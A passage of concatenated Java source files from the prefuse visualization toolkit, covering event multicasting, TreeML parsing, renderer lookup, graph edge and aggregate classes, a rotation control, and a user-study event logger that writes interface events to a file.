import java.awt.event.MouseWheelEvent;
import java.util.EventListener;
import edu.berkeley.guir.prefuse.VisualItem;
/**
* Manages a list of listeners for prefuse control events.
*
* @author newbergr
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class ControlEventMulticaster extends EventMulticaster
implements ControlListener
{
public static ControlListener add(ControlListener a, ControlListener b) {
return (ControlListener) addInternal(a, b);
} //
public static ControlListener remove(
ControlListener l,
ControlListener oldl) {
return (ControlListener) removeInternal(l, oldl);
} //
public void itemDragged(VisualItem item, MouseEvent e) {
((ControlListener) a).itemDragged(item, e);
((ControlListener) b).itemDragged(item, e);
} //
public void itemMoved(VisualItem item, MouseEvent e) {
((ControlListener) a).itemMoved(item, e);
((ControlListener) b).itemMoved(item, e);
} //
public void itemWheelMoved(VisualItem item, MouseWheelEvent e) {
((ControlListener) a).itemWheelMoved(item, e);
((ControlListener) b).itemWheelMoved(item, e);
} //
public void itemClicked(VisualItem item, MouseEvent e) {
((ControlListener) a).itemClicked(item, e);
((ControlListener) b).itemClicked(item, e);
} //
public void itemPressed(VisualItem item, MouseEvent e) {
((ControlListener) a).itemPressed(item, e);
((ControlListener) b).itemPressed(item, e);
} //
public void itemReleased(VisualItem item, MouseEvent e) {
((ControlListener) a).itemReleased(item, e);
((ControlListener) b).itemReleased(item, e);
} //
public void itemEntered(VisualItem item, MouseEvent e) {
((ControlListener) a).itemEntered(item, e);
((ControlListener) b).itemEntered(item, e);
} //
public void itemExited(VisualItem item, MouseEvent e) {
((ControlListener) a).itemExited(item, e);
((ControlListener) b).itemExited(item, e);
} //
public void itemKeyPressed(VisualItem item, KeyEvent e) {
((ControlListener) a).itemKeyPressed(item, e);
((ControlListener) b).itemKeyPressed(item, e);
} //
public void itemKeyReleased(VisualItem item, KeyEvent e) {
((ControlListener) a).itemKeyReleased(item, e);
((ControlListener) b).itemKeyReleased(item, e);
} //
public void itemKeyTyped(VisualItem item, KeyEvent e) {
((ControlListener) a).itemKeyTyped(item, e);
((ControlListener) b).itemKeyTyped(item, e);
} //
public void mouseEntered(MouseEvent e) {
((ControlListener) a).mouseEntered(e);
((ControlListener) b).mouseEntered(e);
} //
public void mouseExited(MouseEvent e) {
((ControlListener) a).mouseExited(e);
((ControlListener) b).mouseExited(e);
} //
public void mousePressed(MouseEvent e) {
((ControlListener) a).mousePressed(e);
((ControlListener) b).mousePressed(e);
} //
public void mouseReleased(MouseEvent e) {
((ControlListener) a).mouseReleased(e);
((ControlListener) b).mouseReleased(e);
} //
public void mouseClicked(MouseEvent e) {
((ControlListener) a).mouseClicked(e);
((ControlListener) b).mouseClicked(e);
} //
public void mouseDragged(MouseEvent e) {
((ControlListener) a).mouseDragged(e);
((ControlListener) b).mouseDragged(e);
} //
public void mouseMoved(MouseEvent e) {
((ControlListener) a).mouseMoved(e);
((ControlListener) b).mouseMoved(e);
} //
public void mouseWheelMoved(MouseWheelEvent e) {
((ControlListener) a).mouseWheelMoved(e);
((ControlListener) b).mouseWheelMoved(e);
} //
public void keyPressed(KeyEvent e) {
((ControlListener) a).keyPressed(e);
((ControlListener) b).keyPressed(e);
} //
public void keyReleased(KeyEvent e) {
((ControlListener) a).keyReleased(e);
((ControlListener) b).keyReleased(e);
} //
public void keyTyped(KeyEvent e) {
((ControlListener) a).keyTyped(e);
((ControlListener) b).keyTyped(e);
} //
protected static EventListener addInternal(
EventListener a, EventListener b)
{
if (a == null)
return b;
if (b == null)
return a;
return new ControlEventMulticaster(a, b);
} //
protected EventListener remove(EventListener oldl) {
if (oldl == a)
return b;
if (oldl == b)
return a;
EventListener a2 = removeInternal(a, oldl);
EventListener b2 = removeInternal(b, oldl);
if (a2 == a && b2 == b) {
return this; // it's not here
}
return addInternal(a2, b2);
} //
protected ControlEventMulticaster(EventListener a, EventListener b) {
super(a,b);
} //
} // end of class ControlEventMulticaster
<file_sep>package edu.berkeley.guir.prefuse.graph.io;
import java.io.IOException;
import java.io.InputStream;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;
import edu.berkeley.guir.prefuse.graph.DefaultEdge;
import edu.berkeley.guir.prefuse.graph.DefaultTree;
import edu.berkeley.guir.prefuse.graph.DefaultTreeNode;
import edu.berkeley.guir.prefuse.graph.Tree;
import edu.berkeley.guir.prefuse.graph.TreeNode;
/**
* Reads in tree-structured data in the TreeML, XML-based format.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class TreeMLTreeReader extends AbstractTreeReader {
/**
* @see edu.berkeley.guir.prefuse.graph.io.TreeReader#loadTree(java.io.InputStream)
*/
public Tree loadTree(InputStream is) throws IOException {
try {
TreeMLHandler handler = new TreeMLHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser saxParser = factory.newSAXParser();
saxParser.parse(is, handler);
return handler.getTree();
} catch ( SAXException se ) {
se.printStackTrace();
} catch ( ParserConfigurationException pce ) {
pce.printStackTrace();
}
return null;
} //
/**
* Helper class that performs XML parsing of graph files using
* SAX (the Simple API for XML).
*/
public class TreeMLHandler extends DefaultHandler {
public static final String TREE = "tree";
public static final String BRANCH = "branch";
public static final String LEAF = "leaf";
public static final String ATTR = "attribute";
public static final String NAME = "name";
public static final String VALUE = "value";
private Tree m_tree = null;
private TreeNode m_root = null;
private TreeNode m_activeNode = null;
public void startDocument() {
m_tree = null;
} //
public void endDocument() {
// construct tree
m_tree = new DefaultTree(m_root);
} //
public void endElement(String namespaceURI, String localName, String qName) {
if ( qName.equals(BRANCH) || qName.equals(LEAF) ) {
m_activeNode = m_activeNode.getParent();
}
} //
public void startElement(String namespaceURI, String localName, String qName, Attributes atts) {
if ( qName.equals(BRANCH) || qName.equals(LEAF) ) {
// parse a node element
TreeNode n;
if ( m_activeNode == null ) {
n = new DefaultTreeNode();
m_root = n;
} else {
n = new DefaultTreeNode();
m_activeNode.addChild(new DefaultEdge(m_activeNode,n));
}
m_activeNode = n;
} else if ( qName.equals(ATTR) ) {
// parse an attribute
parseAttribute(atts);
}
} //
protected void parseAttribute(Attributes atts) {
String alName, name = null, value = null;
for ( int i = 0; i < atts.getLength(); i++ ) {
alName = atts.getQName(i);
if ( alName.equals(NAME) ) {
name = atts.getValue(i);
} else if ( alName.equals(VALUE) ) {
value = atts.getValue(i);
}
}
if ( name == null || value == null ) {
System.err.println("Attribute under-specified");
return;
}
m_activeNode.setAttribute(name, value);
} //
public Tree getTree() {
return m_tree;
} //
} // end of inner class TreeMLHandler
} // end of class TreeMLTReeReader
<file_sep>package edu.berkeley.guir.prefuse.render;
import java.util.HashMap;
import java.util.Map;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.VisualItem;
/**
* Default factory from which to retrieve VisualItem renderers. Assumes only one
* type of renderer each for NodeItems, EdgeItems, and AggregateItems.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class DefaultRendererFactory implements RendererFactory {
private Map itemClassMap;
/**
* Default constructor. Assumes default renderers for each VisualItem type.
*/
public DefaultRendererFactory() {
this(new DefaultNodeRenderer(),
new DefaultEdgeRenderer(),
null);
} //
/**
* Constructor.
* @param nodeRenderer the Renderer to use for NodeItems
*/
public DefaultRendererFactory(Renderer nodeRenderer)
{
this(nodeRenderer, null, null);
} //
/**
* Constructor.
* @param nodeRenderer the Renderer to use for NodeItems
* @param edgeRenderer the Renderer to use for EdgeItems
*/
public DefaultRendererFactory(Renderer nodeRenderer,
Renderer edgeRenderer)
{
this(nodeRenderer, edgeRenderer, null);
} //
/**
* Constructor.
* @param nodeRenderer the Renderer to use for NodeItems
* @param edgeRenderer the Renderer to use for EdgeItems
* @param aggrRenderer the Renderer to use for AggregateItems
*/
public DefaultRendererFactory(Renderer nodeRenderer,
Renderer edgeRenderer,
Renderer aggrRenderer)
{
itemClassMap = new HashMap();
if ( nodeRenderer != null ) {
itemClassMap.put(ItemRegistry.DEFAULT_NODE_CLASS, nodeRenderer);
}
if ( edgeRenderer != null ) {
itemClassMap.put(ItemRegistry.DEFAULT_EDGE_CLASS, edgeRenderer);
}
if ( aggrRenderer != null ) {
itemClassMap.put(ItemRegistry.DEFAULT_AGGR_CLASS, aggrRenderer);
}
} //
/**
* @see edu.berkeley.guir.prefuse.render.RendererFactory#getRenderer(edu.berkeley.guir.prefuse.VisualItem)
*/
public Renderer getRenderer(VisualItem item) {
return (Renderer)itemClassMap.get(item.getItemClass());
} //
public Renderer getRenderer(String itemClass) {
return (Renderer)itemClassMap.get(itemClass);
} //
public void addRenderer(String itemClass, Renderer renderer) {
itemClassMap.put(itemClass, renderer);
} //
public Renderer removeRenderer(String itemClass) {
return (Renderer)itemClassMap.remove(itemClass);
} //
/**
* Returns the Renderer for AggregateItems
* @return the Renderer for AggregateItems
*/
public Renderer getAggregateRenderer() {
return (Renderer)itemClassMap.get(ItemRegistry.DEFAULT_AGGR_CLASS);
} //
/**
* Returns the Renderer for EdgeItems
* @return the Renderer for EdgeItems
*/
public Renderer getEdgeRenderer() {
return (Renderer)itemClassMap.get(ItemRegistry.DEFAULT_EDGE_CLASS);
} //
/**
* Returns the Renderer for NodeItems
* @return the Renderer for NodeItems
*/
public Renderer getNodeRenderer() {
return (Renderer)itemClassMap.get(ItemRegistry.DEFAULT_NODE_CLASS);
} //
/**
* Sets the Renderer for AggregateItems
* @param renderer the new Renderer for AggregateItems
*/
public void setAggregateRenderer(Renderer renderer) {
itemClassMap.put(ItemRegistry.DEFAULT_AGGR_CLASS, renderer);
} //
/**
* Sets the Renderer for EdgeItems
* @param renderer the new Renderer for EdgeItems
*/
public void setEdgeRenderer(Renderer renderer) {
itemClassMap.put(ItemRegistry.DEFAULT_EDGE_CLASS, renderer);
} //
/**
* Sets the Renderer for NodeItems
* @param renderer the new Renderer for NodeItems
*/
public void setNodeRenderer(Renderer renderer) {
itemClassMap.put(ItemRegistry.DEFAULT_NODE_CLASS, renderer);
} //
} // end of class DefaultRendererFactory
<file_sep>package edu.berkeley.guir.prefuse;
import edu.berkeley.guir.prefuse.graph.Edge;
import edu.berkeley.guir.prefuse.graph.Entity;
import edu.berkeley.guir.prefuse.graph.Node;
/**
* Visual representation of an edge in a graph.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class EdgeItem extends VisualItem implements Edge {
protected NodeItem m_node1;
protected NodeItem m_node2;
/**
* Initialize this EdgeItem, binding it to the
* given ItemRegistry and Entity.
* @param registry the ItemRegistry monitoring this VisualItem
* @param entity the Entity represented by this VisualItem
*/
public void init(ItemRegistry registry, String itemClass, Entity entity) {
if ( entity != null && !(entity instanceof Edge) ) {
throw new IllegalArgumentException("EdgeItem can only represent an Entity of type Edge.");
}
super.init(registry, itemClass, entity);
Edge edge = (Edge)entity;
Node n1 = edge.getFirstNode();
Node n2 = edge.getSecondNode();
NodeItem item1 = getItem(n1);
setFirstNode(item1);
NodeItem item2 = getItem(n2);
setSecondNode(item2);
} //
protected NodeItem getItem(Node n) {
return m_registry.getNodeItem(n);
} //
private void nodeItemCheck(Node n) {
if ( !(n instanceof NodeItem) )
throw new IllegalArgumentException(
"Node must be an instance of NodeItem");
} //
/**
* Indicates whether or not this edge is a directed edge.
* @return true if this edge is directed, false otherwise
*/
public boolean isDirected() {
return ((Edge)m_entity).isDirected();
} //
/**
* Indicates whether or not this edge is a tree edge.
* @return true if this edge is a tree edge, false otherwise
*/
public boolean isTreeEdge() {
NodeItem n1 = (NodeItem)m_node1;
NodeItem n2 = (NodeItem)m_node2;
return (n1.getParent() == n2 || n2.getParent()== n1);
} //
/**
* Given a node item incident on this edge, returns the other node item
* incident on this edge.
* @param n a NodeItem incident on this edge
* @return the other NodeItem incident on this edge
* @throws IllegalArgumentException if the provided NodeItem is either
* not a NodeItem or is not incident on this edge.
*/
public Node getAdjacentNode(Node n) {
nodeItemCheck(n);
if ( m_node1 == n )
return m_node2;
else if ( m_node2 == n )
return m_node1;
else
throw new IllegalArgumentException(
"The given node is not incident on this Edge.");
} //
/**
* Return the VisualItem representing the first (source) node in the edge.
* @return the first (source) VisualItem
*/
public Node getFirstNode() {
return m_node1;
} //
/**
* Set the VisualItem representing the first (source) node in the edge.
* @param item the first (source) VisualItem
*/
public void setFirstNode(Node item) {
nodeItemCheck(item);
m_node1 = (NodeItem)item;
} //
/**
* Return the VisualItem representing the second (target) node in the edge.
* @return the second (target) VisualItem
*/
public Node getSecondNode() {
return m_node2;
} //
/**
* Set the NodeItem representing the second (target) node in the edge.
* @param item the second (target) NodeItem
*/
public void setSecondNode(Node item) {
nodeItemCheck(item);
m_node2 = (NodeItem)item;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Edge#isIncident(edu.berkeley.guir.prefuse.graph.Node)
*/
public boolean isIncident(Node n) {
return (n == m_node1 || n == m_node2);
} //
} // end of class EdgeItem
<file_sep>package edu.berkeley.guir.prefuse.event;
import java.awt.Container;
import java.awt.Point;
import java.awt.Window;
import java.awt.event.ComponentEvent;
import java.awt.event.ComponentListener;
import java.awt.event.KeyEvent;
import java.awt.event.MouseEvent;
import java.awt.event.MouseWheelEvent;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.PrintStream;
import edu.berkeley.guir.prefuse.Display;
import edu.berkeley.guir.prefuse.VisualItem;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.graph.Entity;
/**
* A listener implementation that logs events from the prefuse architecture.
* This can be useful for debugging as well as for logging events during user
* studies.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class PrefuseEventLogger implements ControlListener,
ItemRegistryListener, FocusListener, ComponentListener {
public static final int LOG_INTERFACE = 1;
public static final int LOG_FOCUS = 2;
public static final int LOG_REGISTRY = 4;
public static final int LOG_ALL = 4|2|1;
public static final String ITEM_DRAGGED = "ITEM-DRAGGED";
public static final String ITEM_MOVED = "ITEM-MOVED";
public static final String ITEM_WHEEL_MOVED = "ITEM-WHEEL-MOVED";
public static final String ITEM_CLICKED = "ITEM-CLICKED";
public static final String ITEM_PRESSED = "ITEM-PRESSED";
public static final String ITEM_RELEASED = "ITEM-RELEASED";
public static final String ITEM_ENTERED = "ITEM-ENTERED";
public static final String ITEM_EXITED = "ITEM-EXITED";
public static final String ITEM_KEY_PRESSED = "ITEM-KEY-PRESSED";
public static final String ITEM_KEY_RELEASED = "ITEM-KEY-RELEASED";
public static final String ITEM_KEY_TYPED = "ITEM-KEY-TYPED";
public static final String MOUSE_ENTERED = "MOUSE-ENTERED";
public static final String MOUSE_EXITED = "MOUSE-EXITED";
public static final String MOUSE_PRESSED = "MOUSE-PRESSED";
public static final String MOUSE_RELEASED = "MOUSE-RELEASED";
public static final String MOUSE_CLICKED = "MOUSE-CLICKED";
public static final String MOUSE_DRAGGED = "MOUSE-DRAGGED";
public static final String MOUSE_MOVED = "MOUSE-MOVED";
public static final String MOUSE_WHEEL_MOVED = "MOUSE-WHEEL-MOVED";
public static final String KEY_PRESSED = "KEY-PRESSED";
public static final String KEY_RELEASED = "KEY-RELEASED";
public static final String KEY_TYPED = "KEY-TYPED";
public static final String FOCUS_CHANGED = "FOCUS-CHANGED";
public static final String REGISTRY_ITEM_ADDED = "REGISTRY-ITEM-ADDED";
public static final String REGISTRY_ITEM_REMOVED = "REGISTRY-ITEM-REMOVED";
public static final String WINDOW_POSITION = "WINDOW-POSITION";
private ItemRegistry m_registry;
private Display m_display;
private String m_label;
private boolean m_logging;
private int m_state;
private PrintStream m_out;
public PrefuseEventLogger(ItemRegistry registry, Display display, int state, String label) {
m_registry = registry;
m_display = display;
m_state = state;
m_label = label;
m_logging = false;
} //
public PrefuseEventLogger(ItemRegistry registry, int state, String label) {
this(registry, null, state, label);
} //
public PrefuseEventLogger(Display display, String label) {
this(null, display, LOG_INTERFACE, label);
} //
public synchronized void start(String filename) throws FileNotFoundException {
if ( m_logging )
throw new IllegalStateException(
"Can't start an already running logger!");
m_out = new PrintStream(new BufferedOutputStream(
new FileOutputStream(filename)));
m_logging = true;
if ( m_display != null && (m_state & LOG_INTERFACE) > 0 )
m_display.addControlListener(this);
if ( m_registry != null && (m_state & LOG_FOCUS) > 0 )
m_registry.getDefaultFocusSet().addFocusListener(this);
if ( m_registry != null && (m_state & LOG_REGISTRY) > 0 )
m_registry.addItemRegistryListener(this);
Container c = m_display.getParent();
while ( c != null && !(c instanceof Window) )
c = c.getParent();
if ( c != null )
c.addComponentListener(this);
Point s = m_display.getLocationOnScreen();
log(WINDOW_POSITION+"\t"+"("+s.x+","+s.y+")");
} //
public synchronized void stop() {
if ( !m_logging ) return;
if ( m_display != null && (m_state & LOG_INTERFACE) > 0 )
m_display.removeControlListener(this);
if ( m_registry != null && (m_state & LOG_FOCUS) > 0 )
m_registry.getDefaultFocusSet().removeFocusListener(this);
if ( m_registry != null && (m_state & LOG_REGISTRY) > 0 )
m_registry.removeItemRegistryListener(this);
Container c = m_display.getParent();
while ( c != null && !(c instanceof Window) )
c = c.getParent();
if ( c != null )
c.removeComponentListener(this);
m_out.flush();
m_out.close();
m_logging = false;
} //
public synchronized boolean isRunning() {
return m_logging;
} //
public void log(String msg) {
if ( !m_logging )
throw new IllegalStateException("Logger isn't running!");
m_out.println(System.currentTimeMillis() + "\t" + msg);
} //
public void log(long timestamp, String msg) {
if ( !m_logging )
throw new IllegalStateException("Logger isn't running!");
m_out.println(timestamp + "\t" + msg);
} //
public void logMouseEvent(String msg, MouseEvent e) {
msg = msg+"\t[id="+e.getID()
+",x="+e.getX()+",y="+e.getY()
+",button="+e.getButton()
+",clickCount="+e.getClickCount()
+",modifiers="+e.getModifiers()+"]";
log(e.getWhen(), msg);
} //
public void logMouseWheelEvent(String msg, MouseWheelEvent e) {
msg = msg+"\t[id="+e.getID()
+",x="+e.getX()+",y="+e.getY()
+",button="+e.getButton()
+",clickCount="+e.getClickCount()
+",modifiers="+e.getModifiers()
+",scrollType="+e.getScrollType()
+",scrollAmount="+e.getScrollAmount()
+",wheelRotation="+e.getWheelRotation()+"]";
log(e.getWhen(), msg);
} //
public void logKeyEvent(String msg, KeyEvent e) {
msg = msg+"\t[id="+e.getID()
+",keyCode="+e.getKeyCode()
+",keyChar="+e.getKeyChar()
+",modifiers="+e.getModifiers()
+",keyText="+KeyEvent.getKeyText(e.getKeyCode())+"]";
log(e.getWhen(), msg);
} //
public void logFocusEvent(FocusEvent e) {
Entity[] list = null;
int i;
StringBuffer sbuf = new StringBuffer(FOCUS_CHANGED);
sbuf.append("\t[");
for ( list=e.getAddedFoci(), i=0; i<list.length; i++ ) {
if ( i > 0 ) sbuf.append(",");
sbuf.append(getEntityString(list[i]));
}
sbuf.append("]\t[");
for ( list=e.getRemovedFoci(), i=0; i<list.length; i++ ) {
if ( i > 0 ) sbuf.append(",");
sbuf.append(getEntityString(list[i]));
}
sbuf.append("]");
log(e.getWhen(), sbuf.toString());
} //
protected String getEntityString(Entity entity) {
return (entity == null ? "NULL" : entity.getAttribute(m_label));
} //
protected String getItemString(VisualItem item) {
return (item == null ? "NULL" : getEntityString(item.getEntity()));
} //
// ========================================================================
// == WINDOW MONITORING====================================================
public void componentHidden(ComponentEvent e) {} //
public void componentMoved(ComponentEvent e) {
Point s = m_display.getLocationOnScreen();
log(WINDOW_POSITION+"\t"+"("+s.x+","+s.y+")");
} //
public void componentResized(ComponentEvent e) {} //
public void componentShown(ComponentEvent e) {} //
// ========================================================================
// == CALLBACKS ===========================================================
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#itemDragged(edu.berkeley.guir.prefuse.VisualItem, java.awt.event.MouseEvent)
*/
public void itemDragged(VisualItem item, MouseEvent e) {
logMouseEvent(ITEM_DRAGGED+"\t"+getItemString(item), e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#itemMoved(edu.berkeley.guir.prefuse.VisualItem, java.awt.event.MouseEvent)
*/
public void itemMoved(VisualItem item, MouseEvent e) {
logMouseEvent(ITEM_MOVED+"\t"+getItemString(item), e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#itemWheelMoved(edu.berkeley.guir.prefuse.VisualItem, java.awt.event.MouseWheelEvent)
*/
public void itemWheelMoved(VisualItem item, MouseWheelEvent e) {
logMouseWheelEvent(ITEM_WHEEL_MOVED+"\t"+getItemString(item),e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#itemClicked(edu.berkeley.guir.prefuse.VisualItem, java.awt.event.MouseEvent)
*/
public void itemClicked(VisualItem item, MouseEvent e) {
logMouseEvent(ITEM_CLICKED+"\t"+getItemString(item), e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#itemPressed(edu.berkeley.guir.prefuse.VisualItem, java.awt.event.MouseEvent)
*/
public void itemPressed(VisualItem item, MouseEvent e) {
logMouseEvent(ITEM_PRESSED+"\t"+getItemString(item), e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#itemReleased(edu.berkeley.guir.prefuse.VisualItem, java.awt.event.MouseEvent)
*/
public void itemReleased(VisualItem item, MouseEvent e) {
logMouseEvent(ITEM_RELEASED+"\t"+getItemString(item), e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#itemEntered(edu.berkeley.guir.prefuse.VisualItem, java.awt.event.MouseEvent)
*/
public void itemEntered(VisualItem item, MouseEvent e) {
logMouseEvent(ITEM_ENTERED+"\t"+getItemString(item), e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#itemExited(edu.berkeley.guir.prefuse.VisualItem, java.awt.event.MouseEvent)
*/
public void itemExited(VisualItem item, MouseEvent e) {
logMouseEvent(ITEM_EXITED+"\t"+getItemString(item), e);
}
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#itemKeyPressed(edu.berkeley.guir.prefuse.VisualItem, java.awt.event.KeyEvent)
*/
public void itemKeyPressed(VisualItem item, KeyEvent e) {
logKeyEvent(ITEM_KEY_PRESSED+"\t"+getItemString(item), e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#itemKeyReleased(edu.berkeley.guir.prefuse.VisualItem, java.awt.event.KeyEvent)
*/
public void itemKeyReleased(VisualItem item, KeyEvent e) {
logKeyEvent(ITEM_KEY_RELEASED+"\t"+getItemString(item), e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#itemKeyTyped(edu.berkeley.guir.prefuse.VisualItem, java.awt.event.KeyEvent)
*/
public void itemKeyTyped(VisualItem item, KeyEvent e) {
logKeyEvent(ITEM_KEY_TYPED+"\t"+getItemString(item), e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#mouseEntered(java.awt.event.MouseEvent)
*/
public void mouseEntered(MouseEvent e) {
logMouseEvent(MOUSE_ENTERED, e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#mouseExited(java.awt.event.MouseEvent)
*/
public void mouseExited(MouseEvent e) {
logMouseEvent(MOUSE_EXITED, e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#mousePressed(java.awt.event.MouseEvent)
*/
public void mousePressed(MouseEvent e) {
logMouseEvent(MOUSE_PRESSED, e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#mouseReleased(java.awt.event.MouseEvent)
*/
public void mouseReleased(MouseEvent e) {
logMouseEvent(MOUSE_RELEASED, e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#mouseClicked(java.awt.event.MouseEvent)
*/
public void mouseClicked(MouseEvent e) {
logMouseEvent(MOUSE_CLICKED, e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#mouseDragged(java.awt.event.MouseEvent)
*/
public void mouseDragged(MouseEvent e) {
logMouseEvent(MOUSE_DRAGGED, e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#mouseMoved(java.awt.event.MouseEvent)
*/
public void mouseMoved(MouseEvent e) {
logMouseEvent(MOUSE_MOVED, e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#mouseWheelMoved(java.awt.event.MouseWheelEvent)
*/
public void mouseWheelMoved(MouseWheelEvent e) {
logMouseWheelEvent(ITEM_WHEEL_MOVED, e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#keyPressed(java.awt.event.KeyEvent)
*/
public void keyPressed(KeyEvent e) {
logKeyEvent(KEY_PRESSED, e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#keyReleased(java.awt.event.KeyEvent)
*/
public void keyReleased(KeyEvent e) {
logKeyEvent(KEY_RELEASED, e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ControlListener#keyTyped(java.awt.event.KeyEvent)
*/
public void keyTyped(KeyEvent e) {
logKeyEvent(KEY_TYPED, e);
} //
/**
* @see edu.berkeley.guir.prefuse.event.ItemRegistryListener#registryItemAdded(edu.berkeley.guir.prefuse.VisualItem)
*/
public void registryItemAdded(VisualItem item) {
log(REGISTRY_ITEM_ADDED+"\t"+item.getItemClass()
+"\t"+item.getAttribute(m_label));
} //
/**
* @see edu.berkeley.guir.prefuse.event.ItemRegistryListener#registryItemRemoved(edu.berkeley.guir.prefuse.VisualItem)
*/
public void registryItemRemoved(VisualItem item) {
log(REGISTRY_ITEM_REMOVED+"\t"+item.getItemClass()
+"\t"+item.getAttribute(m_label));
} //
/**
* @see edu.berkeley.guir.prefuse.event.FocusListener#focusChanged(edu.berkeley.guir.prefuse.event.FocusEvent)
*/
public void focusChanged(FocusEvent e) {
logFocusEvent(e);
} //
} // end of class PrefuseEventLogger
<file_sep>package edu.berkeley.guir.prefusex.controls;
import java.awt.Cursor;
import java.awt.event.MouseEvent;
import java.awt.geom.AffineTransform;
import javax.swing.SwingUtilities;
import edu.berkeley.guir.prefuse.Display;
import edu.berkeley.guir.prefuse.event.ControlAdapter;
/**
* Rotates the display.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class RotationControl extends ControlAdapter {
private int xLast, yLast;
private boolean repaint = true;
/**
* Creates a new rotation control that issues repaint requests as an item
* is dragged.
*/
public RotationControl() {
this(true);
} //
/**
* Creates a new rotation control that optionally issues repaint requests
* as an item is dragged.
* @param repaint indicates whether or not repaint requests are issued
* as rotation events occur. This can be set to false if other activities
* (for example, a continuously running force simulation) are already
* issuing repaint events.
*/
public RotationControl(boolean repaint) {
this.repaint = repaint;
} //
public void mousePressed(MouseEvent e) {
if ( SwingUtilities.isLeftMouseButton(e) ) {
Display display = (Display)e.getComponent();
display.setCursor(
Cursor.getPredefinedCursor(Cursor.N_RESIZE_CURSOR));
xLast = e.getX(); yLast = e.getY();
}
} //
public void mouseDragged(MouseEvent e) {
if ( SwingUtilities.isLeftMouseButton(e) ) {
Display display = (Display)e.getComponent();
double scale = display.getScale();
int x = e.getX(), y = e.getY();
int dx = x-xLast;
int dy = y-yLast;
//double angle = Math.atan2(dy,dx);
double angle = ((double)dx)/40;
AffineTransform at = display.getTransform();
at.rotate(angle);
try {
display.setTransform(at);
} catch ( Exception ex ) {
ex.printStackTrace();
}
yLast = y;
xLast = x;
if ( repaint )
display.repaint();
}
} //
public void mouseReleased(MouseEvent e) {
if ( SwingUtilities.isLeftMouseButton(e) ) {
e.getComponent().setCursor(Cursor.getDefaultCursor());
}
} //
} // end of class ZoomControl
<file_sep>package edu.berkeley.guir.prefuse.graph;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
/**
* Represents an aggregation of graph entities.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class Aggregate extends DefaultEntity {
// The type of list instance used to store entities.
protected static final Class LIST_TYPE = ArrayList.class;
protected List m_entities;
/**
* Default constructor. Creates a new, empty aggregate.
*/
public Aggregate() {
try {
m_entities = (List)LIST_TYPE.newInstance();
} catch ( Exception e ) {
e.printStackTrace();
}
} //
/**
* Returns an iterator over all entities in this aggregate.
* @return an iterator over this aggregate's entities.
*/
public Iterator getAggregateEntities() {
return m_entities.iterator();
} //
/**
* Indicates if a given entity is in this aggregate.
* @param n the entity to check for membership
* @return true if the entity is in this aggregate, false otherwise
*/
public boolean isAggregateEntity(Entity n) {
return ( m_entities.indexOf(n) > -1 );
} //
/**
* Return the total number of entities in this aggregate. If this
* aggregate contains sub-aggregates, only the encompassing
* sub-aggregate will be counted (i.e. entities in the sub-aggregate
* will not contribute to the count).
* @return the number of entities
*/
public int getNumAggregateEntities() {
return m_entities.size();
} //
/**
* Add a new entity to this aggregate.
* @param n the node to add
*/
public void addAggregateEntity(Entity n) {
if ( isAggregateEntity(n) )
throw new IllegalStateException("Entity already contained in aggregate!");
m_entities.add(n);
} //
/**
* Remove the given entity from this aggregate.
* @param n the entity to remove
*/
public boolean removeAggregateEntity(Entity n) {
return ( m_entities.remove(n) );
} //
} // end of class Aggregate
<file_sep>package edu.berkeley.guir.prefusex.force;
/**
* Implements a viscosity/drag force to stabilize items.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class DragForce extends AbstractForce {
private static String[] pnames = new String[] { "DragCoefficient" };
public static final float DEFAULT_DRAG_COEFF = -0.01f;
public static final int DRAG_COEFF = 0;
public DragForce(float dragCoeff) {
params = new float[] { dragCoeff };
} //
public DragForce() {
this(DEFAULT_DRAG_COEFF);
} //
public boolean isItemForce() {
return true;
} //
protected String[] getParameterNames() {
return pnames;
} //
/**
* Calculates the force vector acting on the given item.
* @param item the ForceItem for which to compute the force
